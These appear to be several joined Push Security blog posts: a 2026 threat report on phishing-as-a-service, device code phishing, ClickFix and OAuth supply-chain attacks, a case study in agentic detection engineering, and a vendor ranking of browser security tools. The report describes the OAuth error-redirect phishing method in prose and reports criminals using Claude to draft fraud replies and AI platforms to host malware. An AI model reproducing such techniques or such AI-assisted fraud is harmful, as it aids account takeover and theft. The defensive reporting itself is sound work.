The SLH playbook becomes the industry standard

Criminals associated with "The Com," broadly known as the Scattered Lapsus$ Hunters collective, have spent the past three years establishing a playbook focused on identity compromise and cloud data theft for extortion. They've dominated the news when it comes to public breaches: a sign of their effectiveness, or perhaps more their desire for notoriety (something that has come back to bite individuals later with a series of arrests, but hasn't hampered the overall trajectory of the breaches).

Regardless, the data doesn't lie. Of the browser and identity-related breaches we've tracked, SLH-affiliated groups are responsible for roughly 70%.

The trump card of prolific criminal groups like Scattered Spider, Lapsus$, and ShinyHunters has always been their social engineering skill. Last year, they had huge success in tricking help desks into performing account resets. This year, they've switched to using voice-based lures in tandem with browser-based phishing payloads — usually impersonating IT staff under the guise of "setting up passkeys."

The vishing-to-SSO-takeover campaign has been prolific, running continuously since January: Panera Bread (~14M records), Match Group (Hinge, Tinder, OkCupid; 10M+ records), Betterment (~20M records), Odido (6.2M Dutch telecom customers with BSNs and IBANs exposed), ADT (5.5M records), Charter Communications (4.9M accounts), Carnival Corporation (6M records), and Pitney Bowes (8.2M emails per HIBP). Optimizely is notable as the first confirmed case where attackers deployed both AiTM credential harvesting and device code phishing against the same target.

Since mid-2025, SaaS apps like Salesforce have been a persistent target for data theft and extortion — as seen in the first large-scale criminal device code phishing campaign that preceded this year's adoption spike. ShinyHunters also led the way with OAuth supply chain abuse — compromising SaaS vendors like Salesloft, Drift, and GainSight and leveraging stored OAuth tokens to penetrate downstream customer environments, a pattern that has since repeated at scale.

Copycats and nation-state adoption

Wider groups are now running the SLH playbook independently. Pink (the latest rebrand in the BlackFile-Redact succession) runs vishing combined with passkey-themed credential phishing for M365 extortion. Helix also emerged shortly after BlackFile shut down, pairing vishing with device code phishing and MFA registration for persistence. KongTuke, an independent initial access broker, adopted a similar help-desk impersonation model via Teams external messaging.

It's not just criminal groups either. Recently, we saw a campaign linked to Russian actors that used compromised hotel and conference Wi-Fi gateways to direct victims to AiTM, ClickFix, and device code phishing pages. And Google Threat Intelligence mapped a dozen Chinese-language PhaaS platforms with real-time MFA interception.

"The Com" affiliates increasingly set the playbook for other criminal groups, and even nation-state operators. It might not always be super sophisticated, but they've proven the playbook works. And from the APT's perspective, why burn an exploit if you can achieve the same with a phish kit?

Phishing infrastructure has reached an industrial scale

The SLH playbook works because it sits on top of an industrialized infrastructure layer that continues to grow. Phishing-as-a-Service platforms, device code phishing kits, ClickFix Malware-as-a-Service providers, vishing operations, and OAuth supply chain attacks have all matured into commodity services — and they're shipping faster than ever.

Device code phishing goes mainstream

We're tracking a huge spike in device code phishing since the start of 2026, with 25+ distinct kits now offering the technique. At the beginning of the year, we were tracking one or two.

What began with Storm-2372's nation-state campaigns in August 2024 has proliferated through criminal kits like EvilTokens (340+ organizations in its first five weeks), Kali365 (which earned an FBI public advisory), ARToken, DEBULL, Forg365, and many more.

The existing PhaaS marketplace, previously dominated by AiTM phishing kits as the standard, has also pivoted to take advantage of the demand for the technique.

Established AiTM vendors like Tycoon 2FA have added device code phishing alongside their existing credential-harvesting capabilities, meaning the same platforms now offer both techniques interchangeably based on what works against a given target. Several kits like Venom, EvilTokens, Kali365 all reportedly offer both capabilities, while many of the detections we see match the signatures for existing kits in our database (for example, with Venom triggering our existing Sneaky2FA detections) — suggesting an overlap in kit developers or their codebases.

Tycoon is a particularly notable example because following a public takedown of its AiTM infrastructure, some recent reports have Tycoon detections dropping, but we're finding that actually Tycoon device code attacks in particular have bounced back in our detections.

When you look at the full picture, it's notable to see a mixture of AiTM and device code kits in our top detected kits, with most of the top 5 now offering both.

PhaaS vendors are pivoting because device code phishing defeats all MFA (including passkeys) by targeting the authorization layer rather than the login. It's also an unfamiliar phishing scenario that most people aren't really prepared for.

And because they're being used interchangeably, there's no downside for the attacker. In one recent example, we saw the attack automatically fall back to AiTM after the device code method timed out, giving the operator two shots at the same victim without manual intervention.

PhaaS platform evolution and evasion

The broader PhaaS ecosystem continues to expand and evolve. New platform launches this quarter include Bluekit, Blacksite and Cloaked.gg — offering dedicated anti-scanner cloaking as a service for phishing infrastructure — and WackoGinx, a multi-platform C2 panel that enables operators to manage simultaneous phishing campaigns.

Sneaky 2FA changes have also been documented, with what ZeroBEC calls "route polymorphism" (a complicated way of saying the kit randomizes URL paths and filenames on every visit) while separately adopting split-click buttons and blob URLs designed to evade link analysis (where buttons have two links: automated scanners interact with one and see a legitimate Microsoft page, but humans naturally click the larger, more visually prominent bottom one and get routed via a blob URL to the phishing page).

The speed of technique adoption across these platforms is itself accelerating. FlowerStorm adopted KrakVM (an open-source JavaScript VM that compiles malicious JS into encrypted bytecode, defeating email security static analysis) within a month of KrakVM's public release on GitHub. The gap between a new evasion technique appearing publicly and its incorporation into commodity phishing kits has compressed to weeks.

At the same time, target surfaces are expanding: Datadog documented an AWS console AiTM kit that dynamically adapts to the victim's configured second factor (an example of MFA downgrade in the wild), extending AiTM phishing from IdPs and SaaS applications to cloud infrastructure consoles.

ClickFix as a service

ClickFix has also continued to industrialize. Sekoia documented the ErrTraffic MaaS platform achieving a 60% victim conversion rate, while researchers mapped approximately 3,000 live ClickFix payloads being served through API-driven backends that dynamically generate uniquely obfuscated payloads per victim — essentially the ClickFix PhaaS equivalent.

The technique has also expanded cross-platform, with Unit 42 documenting macOS ClickFix variants that mount DMGs and bypass Gatekeeper to deliver AMOS infostealer. At the mass deployment end, over 700 Ghost CMS sites were compromised to serve ClickFix payloads in May, and the Gizmodo homepage was injected in June.

Nation-state actors are building around ClickFix too. Two DPRK subgroups independently stood up ClickFix infrastructure in July: BlueNoroff targeting crypto professionals via Zoom impersonation with wallet profiling before payload delivery, and Famous Chollima embedding ClickFix in multi-stage fake job interviews.

Vishing as a payload delivery mechanism

Vishing functions as a reliable delivery mechanism for all of these payloads, leveraged by ShinyHunters, Pink, and Helix (among many others) to deliver AiTM and device code phishing. A human operator on a phone call drives the victim through a browser-based technical payload, and the vishing delivery gets around email security controls.

When Push researchers infiltrated the phishing panels linked to ShinyHunters' campaigns, we found the mechanics for a live attacker relaying credentials and pushing new prompts in real time during the call, across 400+ linked domains and four infrastructure clusters.

The financial scale is now quantifiable: Luna Moth (Silent Ransom Group), a Russia-linked Conti spinoff operating independently of the Com, has extracted up to $48 million from Am Law 100 firms in 2026 alone, with 48 law firms on their leak site and the FBI issuing a dedicated flash alert.

The infrastructure behind these campaigns is industrializing independently. Okta obtained access to Work Panel, a multi-tenant vishing MaaS platform where phishing site standup is a one-button operation and callers are deliberately insulated from the credentials they help steal. Zscaler separately documented a dedicated Teams-vishing initial access broker operating since January 2026, building bespoke post-access tooling and selling access to ransomware operators.

OAuth supply chain attacks

The OAuth supply chain dimension has also continued to produce confirmed victims. The Salesloft/Drift supply chain attack in 2025 set the template: compromise one SaaS vendor, steal OAuth tokens, access 700+ downstream customer Salesforce environments.

In 2026, the Anodot compromise cascaded through to Vimeo, Rockstar Games, and Zara. The Context.ai → Vercel breach followed the same structural pattern. And the Klue/Icarus breach in June — where attackers pivoted from a legacy credential through stored OAuth tokens to exfiltrate Salesforce data from Huntress, Recorded Future, and Jamf among others — showed that OAuth tokens have become a tried and tested lateral movement vector in SaaS environments.

AI is a force multiplier for attackers

Much of the security industry's AI threat discussion has focused on autonomous offensive AI and novel attack classes like prompt injection. But the place where AI is having the most measurable impact right now is less dramatic and more consequential: it's accelerating how the techniques we've already been tracking get built and operated.

The evidence is visible at every layer of the attack chain. Pretty much every phishing kit we come across in 2026 shows clear signs of vibe coding. For the classic AiTM lure, we used to find heavy obfuscation — attackers used to put a lot of effort into hiding their attacks. But now, they're essentially built to be disposable, and are full of verbose comments and nicely named unobfuscated functions. Why bother hiding when you can just spin up a new one? This is particularly notable when it comes to device code phishing, which owes its massive scale-up this year to vibecoded kits.

You can see more examples of these kits under the hood in our blog post infiltrating a criminal phishing panel.

Beyond vibe-coded kits, attackers are embedding AI as an integrated operational capability.

• The first major device code phishing kit identified in the wild, EvilTokens, heavily used Railway, a PaaS built for vibe coding with prompt-based deployment and teardown of infrastructure. EvilTokens itself packaged AI workflows for email filter bypass, lure tailoring, and identifying high-value mailboxes.

• Kali365's E2 edition includes an AI-powered BEC module that uses Claude Sonnet to score intercepted conversations for fraud opportunity and draft contextual wire-transfer redirect replies — not an autonomous attack, but an AI-augmented workflow that makes an existing phishing kit more effective.

• Rapid7's analysis of an exposed server containing a complete phishing toolkit turned up over 1,000 delivery artifacts alongside hardcoded paths to AI coding tools and LLM-style documentation.

• Three independent operators were found running kits from public GitHub forks with minimal, AI-assisted customization: one had been operating for over a year with 218 victims across 12 countries, running infrastructure that would previously have required significantly more technical ability to maintain.

• The tooling itself is starting to embed AI as a product feature — Dolphin X, a new MaaS infostealer targeting 300+ applications across browsers, password managers, cloud CLI tools, and crypto wallets, ships an AI Profiler that scores infected machines by application usage and installed software, then delivers daily ranked summaries so operators can prioritize high-value victims from thousands of infections.

AI adoption itself has also become an attack surface. Users searching for AI desktop applications are already looking to download and install software, and attackers are capitalizing on that behavior: a malicious Claude.ai Artifact impersonating a download portal drew 7,100 visits via Bing search ads and compromised 29 organizations in 48 hours, following the LLMShare attack pattern we documented in May. A second campaign, MacSync, used a claude.ai conversation styled as an installation guide to deliver a macOS infostealer via a ClickFix-adjacent terminal paste, also distributed through Google Ads. In both cases, the AI platform's trusted domain carried the malicious content past URL reputation filters.

But the core techniques aren't changing

AI compresses the bottom layers of the Pyramid of Pain (unique hashes, domains, IP addresses, host artifacts) by enabling faster domain rotation, cheaper kit development, and rotating payloads, but the technique-level behaviors remain unchanged.

A phishing page still has to harvest credentials. Device code phishing still has to abuse the authorization grant. ClickFix still has to inject a clipboard payload. Those behavioral signatures are structurally resistant to AI-driven variation because changing them means changing how the attack works.

What this means for defenders

Every trend documented here converges on the same control point: the browser. The AI acceleration that makes all of it faster and cheaper doesn't change where the attacks execute, or how Push intercepts them.

• For AiTM phishing, Push's behavioral detection analyzes and blocks the phishing page in real time, regardless of which domains or hosting infrastructure the kit uses on any given day.

• For device code phishing, Push detects both the phishing pages associated with device code kits and provides an additional layer on the legitimate device code authentication pages themselves, so users cannot enter attacker-supplied codes.

• For ClickFix, Push detects the clipboard injection at the moment the malicious payload is written.

• For OAuth supply chain attacks, Push monitors and controls consent flows at the browser layer, so security teams can govern which applications obtain tokens in the first place.

As AI enables more kits, more operators, and faster infrastructure rotation, indicator-based defenses that target domains, IPs, and hashes become less effective by the day. Behavioral detection that targets technique-class signatures (what the attack does) is the approach that scales.

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.

Book a live demo to learn more.

A new campaign hits the news, and you already hear the question coming, “Are we covered?”

So you read the writeup and quickly do the calculus on whether you can extract meaningful data, something to base a behavioral detection around — or not.

Then the choice is: Send the IOCs you can identify to your blocklists and move on for now, or try to dig deeper. The limitations of the first choice are clear; so are the challenges of the second.

That’s the uncomfortable gap between “We’re aware of this threat” and “We have strong detections around it.”

Because you already know that the IOCs for a novel browser-based attack are likely outdated the moment you block them. And in the case of a new technique observed by Microsoft earlier this year, you’d be right.

In March, Push’s AI agents took a close look at that Microsoft intel, which details a discovered campaign built around a novel OAuth redirect abuse technique used to deliver users to phishing pages under the cover of trusted services’ OAuth flows. 

What we found was indicative of how these attacks rapidly evolve: No matches for the published IOCs across our install base. But a few months later, we got a true positive. Except it was for new lures, new variants, and different IOCs. What hadn’t changed was the underlying attack delivery technique, and that’s what we used to detect a new campaign on Push customer estates.

In this article, we’ll walk through this example as a case study of how agentic threat hunting helps us go beyond IOCs to extract durable behavioral indicators that close the gap between “We’re aware of this threat” and “We’re covered.”

Note: This is part 2 of a series. Part 1 covers the pipeline’s detection engineering principles and the security outcomes we’re achieving for Push customers.

The intel: Novel abuse of OAuth redirects as a phishing delivery mechanism

The technique Microsoft documented back in March is an interesting one. It doesn't steal tokens or abuse consent flows. Instead, it weaponizes the OAuth error-handling path itself — turning trusted identity provider domains into a delivery mechanism for phishing and malware.

Here's how it works. The attacker registers a malicious application in an actor-controlled tenant, pointing its redirect URI at attacker infrastructure. They craft an authorization URL using prompt=none (forcing silent authentication) and an intentionally invalid scope, which guarantees an OAuth error. 

The identity provider — Microsoft Entra ID, Google Workspace, or any OAuth-compliant service — handles that error the way the spec says it should: By redirecting the browser to the application's registered redirect URI. The user clicks a link that begins at login.microsoftonline.com, passes through a legitimate authentication endpoint, and lands on an attacker-controlled page.

Importantly, no token is stolen during the redirect. The OAuth flow is the delivery vehicle, not the compromise mechanism. What happens after the redirect — phishing, malware download, credential harvesting — is where the actual attack occurs.

This technique is also successful because conventional URL filtering sees a legitimate authentication domain, not a phishing destination. The redirect is standards-compliant behavior, and the initial URL carries the domain reputation of a trusted identity provider — which means the usual defenses at the network layer don't fire. (No TI or domain-based detection service in the world would raise a microsoft.com domain as suspicious!)

With this intel, Push’s agents now had some useful fodder to hunt for.

Hunting from intel: How we developed a behavioral detection

It started with ingestion. When the Microsoft blog was published, Push's TI aggregation agent flagged it as relevant to our detection surface — the technique abuses OAuth redirect behavior observable in the browser, which maps directly to the metadata that Push's browser agent captures.

The Push intel agent understands not to hunt for IOCs, but rather to think in terms of durable behaviors. It understands the telemetry available to the Push browser extension, and then compares that to the telemetry it would expect to be able to extract for a given technique, before deciding what to hunt for.

In this case, the intel agent extracted two distinct behavioral elements from the research to look for: the OAuth redirect technique and the page users land on after the error.

That extraction step is where surface-level details can become technique-driven hunts. Microsoft's article listed specific client IDs, redirect URLs, and PowerShell command patterns — indicators that are useful for retrospective hunting but will rotate as the campaign evolves. 

The pipeline's job was to identify what wouldn't change: The behavioral mechanics of abusing the OAuth error redirect path as a delivery mechanism, independent of which domains, client IDs, or post-redirect payloads the attacker chose to use. This is the Pyramid of Pain principle in practice: Hunt for the technique, not the indicator, because techniques are genuinely hard for attackers to change.

Next, the agents verified what they already knew from Push’s internal TTP knowledge base. In this case, the agents understood the well-known technique of open redirects, where attackers leverage redirects to deliver users to a malicious page. The example originally published by Microsoft was a novel variation of that — abusing a trusted service and the open redirect technique via a legitimate OAuth error workflow to deliver a multi-stage phishing attack.

AI models’ deep knowledge of web programming and frameworks is a particular strength here, because they understand which OAuth redirect behavior is normal and common across diverse scenarios, and can pinpoint which elements will be the strongest signal to hunt for malicious behavior. The agents immediately recognized that hunting for prompt=none would be too noisy, as legitimate apps regularly use silent token refresh.

In this case, the approach was simply to find all the instances where a user hit an OAuth error page, and then landed on a login page afterward. Normal behavior for error states would be to return an error response — not send the user on to a page with a password form field or a CAPTCHA. That’s highly suspicious.

The agents then built behavioral queries targeting both behavioral attributes of the attack, and validated them across Push's install base. 

When agents first looked in March, the hunts returned no true positives — the specific campaign Microsoft documented wasn’t active against Push customers at that time.

But the query logic was sound — precise enough to avoid false positives, broad enough to catch technique variants without relying on the specific IOCs that Microsoft documented. So the pipeline promoted it to a live query — a continuing detection that would surface any future instances of the technique across the customer base.

The hunt pays off: A new variant, completely different IOCs

In June, the query fired. A single user at a single customer had been targeted, but with a completely different scenario. 

Where the Microsoft-documented example used lures presented as document-sharing links, Teams meeting recordings, or password resets, and the abused trusted service was a Microsoft login link used to trigger the OAuth error, the Push-observed attack chain used different elements. However, the behavioral technique at the core was the same.

In this case, the user clicked a link in a service desk ticket, triggering an OAuth flow that used a redirect URL with parameters designed to make it look like a Grammarly link. After hitting the OAuth error, the user was redirected to a page with a CAPTCHA, and then redirected again to a second page behind a Cloudflare Turnstile that was running a phish kit. While examining the phishing page, Push’s agents found a net-new phish kit that they later added additional detections for. 

Roughly a day after the Push detection fired, Google Safe Browsing flagged both domains as phishing domains. But when the user was first targeted, neither domain had been flagged. In this case, the user exited the redirect flow before entering any credentials.

It’s important to note that this phishing technique also bypasses other controls based on network content pattern analysis or domain-based detections. For example, a network proxy is designed to look for malicious webpages based on known-bad IOCs like domains or page content that contains known-bad script files. This technique uses a dynamic obfuscated Javascript blob that unpacks and loads the webpage on the client side after checking to see if it’s running in a live browser environment, evading proxy-based analysis.

The query now serves as another early-warning flag designed to be broad enough to catch other interesting new variants of this TTP.

Why technique-level detection pays dividends

This example demonstrates the value of behavioral detection. By focusing on technique extraction, we can stay a step ahead of attack evolution, identifying other contexts and campaigns that use the same behavioral technique, without relying on stale IOCs.

For customers, this means no one has to distil the threat intel report into behavioral elements, spend time crafting detections, or work to eliminate false positives. The Push agents do all that automatically, delivering a compounding benefit the more they learn. 

Customers get a fully operationalized threat-hunting and detection engineering capability; and the Push knowledge base itself expands with each new hunt, getting better at identifying emerging threats.

If you'd like to see how Push's detection pipeline would work in your environment, book a demo with our team.

So we got a category: browser security. And when it comes to the best browser security tools, there's a problem. Browser security means three different things depending on who's talking: enterprise browser extensions, enterprise browsers, and remote browser isolation (RBI).

The market reflects that confusion, but the momentum is real. According to Omdia's 2026 research, browser security is already a top-five priority for 88% of organizations and the top priority for 26%, with 86% having meaningfully increased their browser security spending in response to emerging threats. Three browser security startups were acquired by major platform vendors in 2026 alone — CrowdStrike bought Seraphic, Zscaler absorbed SquareX, and Akamai announced intent to acquire LayerX.

Here's what the browser security market looks like in 2026.

The top enterprise browser solutions in 2026 include Push Security, Island, and LayerX.

Enterprise browsers are also commonly referred to as Secure Enterprise Browsers (SEBs). These are functionally the same thing, but buyers looking specifically for Secure Enterprise Browsers tend to be focused more on security use-cases (protecting users, and by extension business, from external threats). But all enterprise browsers tend to cover security use cases to a lesser or greater degree.

So, this list applies to Secure Enterprise Browsers too.

1. Push Security – Enterprise browser extension

Push is a browser extension, not a browser, that turns whatever browser your people already use into a detection and response platform for the security team. With no migration, no user disruption, no new browser to manage. It covers four use cases from a single deployment: detecting and stopping sophisticated browser-based attacks, AI visibility and control, identity and shadow IT security, and DLP and insider investigations. Detections are built on in-house threat research and operationalized by autonomous agents, so what Push catches is based on attacker techniques and behaviors rather than a blocklist. It deploys in minutes across managed and unmanaged devices.

Push detects AiTM and device code phishing kits (75+ across Tycoon 2FA, Sneaky 2FA, Evilginx, and many others) behaviorally by analyzing page structure and script execution — so detection survives infrastructure rotation. It catches ClickFix-style clipboard injection before the payload executes, detects stolen session tokens via marker injection when they appear in uninstrumented browsers, and monitors OAuth consent flows across 20+ authorization servers. Push is deployed across 3 million browsers worldwide and has been rolled out to 100,000 users in under one hour during normal office hours.

In a 30-day proof-of-value deployment at a ~4,500-employee financial services organization with a mature existing security stack, Push detected and blocked 6 ClickFix attacks and 10 AiTM phishing attempts — none of which were visible to any other tool in place. You can read more customer stories here.

2. Island – Enterprise browser

Island was one of the first to market in the enterprise browser category and still defines it. It replaces current browsers with a managed Chromium fork that gives IT granular control over copy-paste, screenshots, downloads, session recording, and application access — all enforced at the browser level without routing traffic through a proxy. For highly regulated environments where that degree of governance is a requirement, it's a capable platform with real enterprise traction.

It's a full browser replacement, with primary use cases around VDI replacement, contractor access, BYOD governance, and zero-trust network access. Most organizations plan for a phased rollout.

3. Prisma Browser – Enterprise browser

Formerly Talon, now Palo Alto Networks' enterprise browser and the last-mile enforcement layer of its SASE platform. Prisma Browser is a managed Chromium browser with DLP that inspects the rendered page and zero-trust access controls, designed primarily for contractor, BYOD, and remote worker populations accessing corporate apps from unmanaged devices.

Like Island, it's a browser replacement. It integrates natively with the broader Prisma Access and Cortex stack, feeding browser telemetry into Palo Alto Networks' existing correlation and response workflows.

4. Seraphic Security (CrowdStrike) – Enterprise browser extension

Seraphic works across any browser through an endpoint agent that adds enterprise security without replacing what's deployed. CrowdStrike acquired Seraphic in early 2026 to extend Falcon past the endpoint and into the browser layer, with the stated goal of correlating endpoint and browser telemetry in a single platform.

For existing CrowdStrike customers, the extension into the browser is a natural addition to the Falcon ecosystem. Cross-browser coverage remains a differentiator for mixed environments.

5. LayerX Security (Akamai) – Enterprise browser extension

LayerX is extension-based, focused on real-time DLP and AI governance which captures what happens inside AI tools, flagging sensitive data submissions, and enforcing policy, all without requiring a new browser. Low deployment friction and a growing AI visibility capability are the draw.

Akamai announced the intent to acquire LayerX in mid-2026 to complement its Zero Trust portfolio. For buyers evaluating LayerX as a long-term platform bet, the question is what the roadmap looks like 18 months post-close, given Akamai's track record of absorbing acquisitions (Guardicore, Neosec, Inverse) into its broader platform.

6. SquareX (Zscaler) – Enterprise browser extension

SquareX takes a detection-minded posture, inspecting files and links while browsing, neutralizing malicious content before it reaches the endpoint, and offering disposable browser environments for high-risk activity. It was clearly built by people who think in attacker terms.

Zscaler acquired SquareX in early 2026, integrating it into the Zero Trust Exchange alongside its existing SSE capabilities.

7. Keep Aware – Enterprise browser extension

Keep Aware is an agentless extension built with security operations in mind. It's quick to deploy through MDM or group policy, and focused on surfacing browser threats, extension risk, and AI usage into existing SOC workflows. Detection and response is the throughline, with SIEM integration as a core part of the offering.

Founded in 2022, Keep Aware has been iterating quickly with a focused product roadmap around browser detection and response.

8. Menlo Security – Remote browser isolation

Menlo pioneered remote browser isolation: web content renders in a disposable cloud container and the user receives a clean visual stream, so nothing malicious ever touches the endpoint. For zero-tolerance environments and third-party or contractor access where you don't fully trust the device, the approach has a solid track record. Cloud rendering introduces latency and the occasional site-compatibility issue, though Menlo has invested in reducing both over the years.

9. Chrome Enterprise / Edge for Business – Enterprise browser

The security controls are already built into the browsers most of your people use. Chrome Enterprise offers centralized management, Safe Browsing, and identity tool integration across the fleet; Edge for Business adds work-and-personal separation, phishing protection, and tight integration with Microsoft 365 and Defender.

These are baseline controls, and for many organizations they're effectively free with what's already deployed. Most organizations treat them as the foundation that the rest of the tools on this list build on.

According to Omdia, 86% of organizations have meaningfully increased browser security investment in response to emerging threats — 85% expect to spend more over the next 12–24 months. The built-in controls in Chrome and Edge are a foundation, but they're insufficient against the current threat landscape on their own.

10. SURF Security – Enterprise browser

SURF is a Chromium-based enterprise browser built zero-trust-first, with identity-based access controls, DLP, and session security inside a fully managed environment. Centralized, policy-driven control by default is the pitch, aimed at security-first organizations that want a locked-down browser from day one.

Like Island and Prisma, it's a browser replacement, so it follows the same deployment model — plan for a migration alongside the capabilities.

Learn more about Push Security

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.

Push is the best choice for organizations looking to solve the most impactful security problems in the browser, with use cases including detecting and stopping advanced attacks, data loss and insider investigations, identity and shadow IT security, and AI visibility and control.

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.

Book a live demo to learn more.

Would you rather spend time trying to write detections for modern browser-based attacks by …

• Combing through MITRE looking for techniques that you can write detections on, only to find you have little useful telemetry from your typical sources.

• Curating a list of malicious domain IOCs extracted from endless TI pieces, only to never see a single one of them match.

• Just giving up and blocking a bunch of domains or IPs from every TI feed you come across, while quietly weeping.

Or … 

• Inherit constantly evolving detections validated across 3 million-plus browsers, tuned to remove false positives, informed by human threat researchers, and tailored to the known and not-yet-known threats that target account compromise and malware delivery via the browser.

At Push, we’ve built an agentic threat hunting and detection engineering pipeline to take that first set of onerous tasks off your plate. The result is a process that looks a lot like the ideal described in detection engineering maturity models, achieved without any extra headcount or subject matter expertise on your team, and scaled to meet the speed and complexity of our current era of AI-enabled adversaries.

Let’s take a look at how the pipeline delivers a collective good by identifying emerging threats or new technique variants in a single customer environment and then delivering detections to everyone.

This is Part 1 of a two-part series. In Part 2, we’ll cover a case study of an agentic threat hunt in detail.

Why detection engineering from TI is hard — and why AI-enabled attacks are making it even harder

Detection engineers feel the pain that Beethoven must have felt when he got the critique: “There are just too many notes!”

Except where notes = threat intelligence, light on the intelligence. (For a great unpacking of what’s hard about transforming TI into detections, check out this blog series from Anton Chuvakin and his Google security colleagues from 2023. The challenge has only gotten harder since then!)

In short, there is too much potential TI, too little actionable detail, and a dearth of useful business-relevant context.

This often manifests as:

• Feeling constantly behind the threat landscape. SANS Institute’s State of Detection Engineering 2026 report found that only 18% of practitioners feel like they’re staying ahead; 56% report barely keeping pace.

• Access to a huge amount of potential TI, but lacking the time, context, and tools needed to parse the data for threats that matter to the business.

• More information on IOCs than TTPs, leading to ever-growing blocklists and attacks that still slip through.

As AI-enabled adversaries continue to make it increasingly trivial to rotate infrastructure or abuse trusted services and workflows to deliver modern attacks, the hill gets steeper. 

Spamhaus has found that 89% of phishing domains are active for less than 2 days, with just 6.5% surviving for more than 15 days, making it increasingly difficult to rely on blocking known-bad URLs when most phishing attacks are essentially now a zero-day. (And in our experience, any phishing domains still up past a couple of days are just the remnants of a dead campaign that you’ll never see again.)

In the case of attacks that target employees via the browser — using advanced phishing methods, commercial toolkits, abuse of OAuth, abuse of trusted services to deliver phishing lures, etc. — most security teams are also working without the right foundational visibility to even begin to mature their detection process against these TTPs.

The missing input is visibility at the layer where these attacks actually execute — the browser session. Without it, detection engineering for browser-based threats is painful guesswork.

How Push operationalized best practices for hunting from TI using agents

In building our agentic threat hunting and detection engineering pipeline at Push, we set out to solve many of the same problems that any security team faces when maturing its processes:

• How to transform TI into technique-level intel we could write durable detections for across a wide customer base at scale?

• How to create structured internal knowledge to add context to our detection engineering process that validates the relevance of what we find?

• How to verify what’s worthwhile to hunt for, remove false positives, and understand the value of a detection for a specific TTP across an install base of more than 3 million browsers?

The process we created looks a lot like the best practices on how to turn intelligence into meaningful detections. The difference is that agents let us run this process continuously and at a scale that would be impossible to achieve with human analysts alone.

It starts with ingestion. An agent tasked with TI aggregation monitors multiple industry sources — vendor reports, researcher disclosures, campaign teardowns — and filters for intelligence relevant to browser-based attack techniques. 

Because this agent already understands the types of attacks and scenarios that matter to Push’s detection surface, it can distinguish signal from noise at the intake stage, flagging useful intel and proposing initial lightweight hunts based on the browser metadata Push can observe. When a potential hunt looks promising, the aggregation agent hands off to a deeper analysis agent to extract what’s actually huntable.

While Push uses commercial AI models, that’s not actually where the value is derived for our agentic threat hunting process — rather, it’s all about our browser telemetry. We wrote more about this in why you can’t vibecode your own AI-driven threat hunting pipeline. 

That extraction step is where a general TI feed becomes something you can build detections from. Agents built on frontier models have a deep understanding of web programming languages and browser workflows can decompose the intelligence into its meaningful atomic units — the specific behavioral patterns that distinguish a malicious technique from normal browser activity. 

They compare those patterns against everything the Push browser agent can observe: tabs, windows, navigation events, downloads, network requests, DOM content, script execution. Then they discard anything too broad — observable events that are commonplace, even when connected to a malicious TTP — to avoid false positives. 

What survives is one or more huntable technique signatures that can be identified with a high true positive rate. This is the Pyramid of Pain principle operationalized at machine speed: Target the technique, not the indicator, because techniques are genuinely hard for attackers to change.

In parallel, the pipeline validates whether the identified technique is genuinely novel or a variant of something Push already detects. This is where our internal knowledge base comes into play. Built over three years by Push’s in-house research team and augmented continuously by the pipeline itself, it represents what Push knows about browser-based attack behaviors — a structured corpus of TTPs that lets agents classify incoming intelligence as new territory, a known variant that needs a refined detection, or something already covered. That classification determines what happens next: A net-new technique triggers a full hunt; a known variant triggers a refinement cycle; and a duplicate gets deprioritized.

The hunt itself is where hypothesis meets evidence. Agents develop a specific, testable prediction about what the technique looks like in browser telemetry, then validate that prediction across Push’s install base. The aim of the initial hunt is to identify any potential false positives — legitimate browser behavior that matches the pattern. Then the agents refine: adjusting the query, narrowing the behavioral fingerprints, testing again. Each iteration sharpens the detection until the false positive rate drops to a negligible, tolerable level. 

The hunts that produce relevant, high-confidence results become continuous queries — a kind of early warning system for emerging threats we’re actively watching for and learning about. The most useful and reliable of those queries become production detections that protect every Push customer in real time. 

This is what “detect what matters” looks like as an engineering discipline. By the time the agents have whittled down millions or trillions of browser events into a good hunt query — where good means broad enough to cast a usefully wide net for variations — and then tuned that further into a high-fidelity detection, the result is fewer, sharper detections by design. And because Push detects at the browser session layer before a user can interact with a malicious page, almost all of those detections fire pre-compromise. 

The same 2026 SANS survey mentioned earlier found that 66% of SOC practitioners cite vendor-provided rules as their primary source of false positives — a structural problem that persists at every organization size. Push’s pipeline produces the opposite outcome: better detections, less noise.

The result is a system with two learning loops. An inner loop handles real-time detection and response for known attacker techniques — the production detections already deployed across the customer base. An outer loop handles continuous discovery — agents hunting for new techniques, refining existing detections, and ingesting external intelligence. 

Each loop feeds the other: The outer loop’s discoveries become the inner loop’s new production detections, and the inner loop’s blocked attacks become raw material for the outer loop to analyze for novel variants. The knowledge base that both loops draw on grows with every cycle, which means the pipeline's detection coverage compounds at roughly the rate the threat landscape grows more complex.

And every validated detection produced by this process, whether it originated from a blocked attack in one customer’s environment, a proactive hunt across the telemetry corpus, or a vendor report about a campaign Push has never observed on customer estates, deploys to the entire customer base.

Herd immunity, without all the breaches to get there

That last point is where Push’s idea of herd immunity diverges from the traditional definition.

Detection and response platforms and MDR services commonly describe a herd immunity benefit: What one customer encounters, every customer gets protection against. The mechanism is real, but the learning input is typically a breach or a compromise. Someone has to be the first victim.

Push’s approach is different. 

Modern browser-based attacks frequently rely on a series of techniques strung together to achieve a compromise. From its vantage point in the browser, Push catches many novel techniques with existing detections pre-compromise because it recognizes a portion of the attack techniques in the chain. The detection process then identifies what’s new about a previously unseen variation of a known TTP — perhaps an evasion technique the kit hadn’t used before, an unusual lure or infrastructure pattern, etc. 

The detection gets better for customers and no one was compromised to get there.

On the external intelligence side, the pipeline ingests published research about a campaign Push has never observed, extracts the durable behavioral characteristics, validates them against browser telemetry, refines the query to tune out false positives, and ships detections before the technique is ever used against a Push customer. The protection arrives ahead of the attack.

